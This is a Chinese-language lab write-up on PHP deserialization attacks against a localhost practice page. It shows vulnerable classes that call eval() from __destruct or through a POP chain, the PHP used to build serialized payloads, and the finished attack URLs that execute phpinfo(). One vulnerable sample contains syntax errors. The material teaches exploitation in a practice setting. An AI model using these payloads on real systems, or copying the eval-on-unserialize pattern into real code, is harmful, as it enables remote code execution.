常见的反序列化(先了解下原理再做)

常见的反序列化-1

网站http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php

<?php
    class test{
        function __destruct(){
            echo "destruruct..<br>";
            eval($_GET['cmd']);
        }
    }
    unserialize($_GET['u']);
?>

Exploit构造

通过反序列化攻击,改变源码实现我们目的,原来test类未执行,现在我们让他执行.

<?php
	class test{}
	$test = new test;
	echo serialize($test);
?>

poc(攻击代码(类)的序列化(上面代码的输出))

O:4:"test":0:{}

攻击

http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php?u=O:4:"test":0:{}&cmd=phpinfo();

常见的反序列化-2

但如果漏洞触发代码不在魔法函数中，而在一个类的普通方法中。并且魔法函数通过属性（对象）调用了一些函数，恰巧在其他的类中有同名的函数（pop链）。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

网站 http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal{
    function action() {
        echo "hello";
    }
}

class evil(){
    private $data;
    funtion action(){
        eval($this->data);
    }
}
unserialize($_GET['d']);
?>

Exploit构造

我们先改变lemon类的__construct分法(对象被创建时触发),让他不创建normal类,而是改为创建我们定义的一个恶意类

<?php
class lemon{
	protected $ClassObj;
	function __construct(){
        $this->ClassObj = new evil();
    }
}
class evil{
	private $data = "phpinfo();";
}

echo urlencode(serialize(new lemon()));//`urlencode()`:避免"%00"缺失
echo "\n\r";
?>

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

攻击

http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D